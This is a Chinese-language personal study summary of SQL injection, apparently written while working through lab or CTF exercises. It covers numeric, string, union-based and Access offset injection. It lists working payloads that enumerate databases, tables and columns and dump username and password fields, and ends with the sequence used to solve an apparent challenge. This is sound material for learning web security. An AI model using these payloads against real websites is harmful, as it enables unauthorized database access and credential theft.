SQL注入学习自我总结
一:SQL注入简介
SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登录,甚至篡改数据库。
Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一
二:SQL注入的常见威胁
1、猜解后台数据库,这是利用最多的方式,盗取网站的敏感信息。
2、绕过认证,列如绕过验证登录网站后台。
3、注入可以借助数据库的存储过程进行提权等操作。
三:SQL注入的基本常见的语句
基础sql语句
- select database(); #查看当前库名;
- select table_name from information_schema.tables where
table_schema=database() ; #查看当前库下的表名
3、select column_name from information_schema.columns where table_schema=database() and table_name='user'; #查询列名
4、select name,password from user; #获取用户名和密码列
四:SQL注入的常见类型(只列举了我已经做过的类型)
1:数字型注入点
在 Web 端大概是 http://xxx.com/news.php?id=1 这种形式,其注入点 id 类型为数字,所以叫数字型注入点。这一类的 SQL 语句原型大概为
select * from 表名 where id=1。组合出来的sql注入语句为:select * from news where id=1 and 1=1
2:字符型注入点
在 Web 端大概是 http://xxx.com/news.php?name=admin 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为
select * from 表名 where name='admin'注意多了引号。组合出来的sql注入语句为:select * from news where chr='admin' and 1=1 ' '
3:联合查询注入
可以使用union的情况下的注入
4:Access偏移注入
偏移注入是access比较独有的一种注入手段,很有特点的注入方式,一般用于在猜出了表名但是没有猜出列名的情况下使用。
**原理:**借用数据库的自连接查询(inner join)让数据库内部发生乱序,从而偏移出所需要的字段在我们的页面上显示。
**用处:**access偏移注入是解决一些注入不出来列表的时候,同时要求支持union select,列名足够多,需要知道表名。
利用条件:
1、知道表名
2、任意字段(一般access会有一个id字段。)
偏移注入的流程:
1.判断注入点
127.0.0.1/asp/index.asp?id=1513 and 1=1 (正常)
127.0.0.1/asp/index.asp?id=1513 and 1=2 (错误)
2、查询字段个数
127.0.0.1/asp/index.asp?id=1513 order by 22 (正常)
127.0.0.1/asp/index.asp?id=1513 order by 23 (错误)
3、爆出显位
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
4、判断表内存在的字段个数
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from admin (错误)
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from admin (错误)
一直到……
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin (正确)
说明了admin表下有6个字段;
用""代表 admin 表的字段数,计算代替字符的位数。
联合查询(union注入)
注:联合查询适合于有显示位的注入,即页面某个位置会根据我们输入的数据的变化而变化
Union注入一般步骤:
1. 注入点判断
开始判断是否存在注入,输入?id=1',页面发生报错,说明后端对我前端的数据输入没有很好的过滤,产生了sql注入漏洞
继续判断,输入 ?id=1' and 1=1 --+ 页面正常显示
输入?id=1' and 1=2 --+ 页面不正常显示,说明程序对我们的输入做出了正确的判断,所以注入点就是单引号
页面会根据输入的数据变化而变化,所以当存在注入点时,优先考虑使用联合注入手法。
2. 判断当前表的字段个数
输入order by 3,页面无异常反应(?id=1' order by 3 --+)
然后将3修改为4,此时显示未知的列,说明此时当前表中只有3列(?id=1' order by 4 --+)
3. 判断显示位
接下来测试我们的输入会在屏幕哪个地方进行回显。上面我们判断出来了表中有3列,所以union select的时候就写xx,xx,xx三个数据
需让union select前面的参数查不出来而回显后面的语句,所以id=-1'(?id=-1' union select 1,2,3 --+)
4. 爆当前数据库名字
?id=-1' union select 1,2,database() --+
获取当前数据库名为“………”
5. 爆当前数据库中的表
#直接套用语句
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
显示当前数据库中存在……个表“1,2,3,4…….”
6. 爆表中的字段
例如:我们这里选择1表进行进一步的获取表中的字段信息
#只需指定表名即可
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='表名' --+
#或者指定当前数据库名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='库名' and table_name='表名' --+
获取表中存在……个字段,分别为“a,b,c………”
7. 爆相应字段的所有数据
#只需指定表名和字段名
?id=-1' union select 1,2,group_concat(`a`,':',`b`,':',`c`) from 表名 --+
#字段值不加反引号也可以
?id=-1' union select 1,2,group_concat(a,':',b,':',c) from users --+
至此,联合查询整个过程结束,注入的时候找到注入点后只需套入语句即可。
注意:重要的是套用注入语句,并且自己可以看得懂页面回显的内容,套用的注入语句中有些库名,表名,字数段要根据当时题目的环境进行适当的更改
例如:本次考核的题目斗“宗强者恐怖如斯”
它的命令为:
?id=1'
?id=1') union select 1,2,3--+
?id=-1') union select 1,2,database()--+
id=-1') union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='xitif_sql' --+
?id=-1') union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='flag' --+
?id=-1') union select 1,2,group_concat(flAg) from xitif_sql.flag --+
可以发现其中的库名,表名,字数段名都是其题目中回显的信息,所以一定要注意更改这三个点(当然要搞懂流程每一步骤的用处)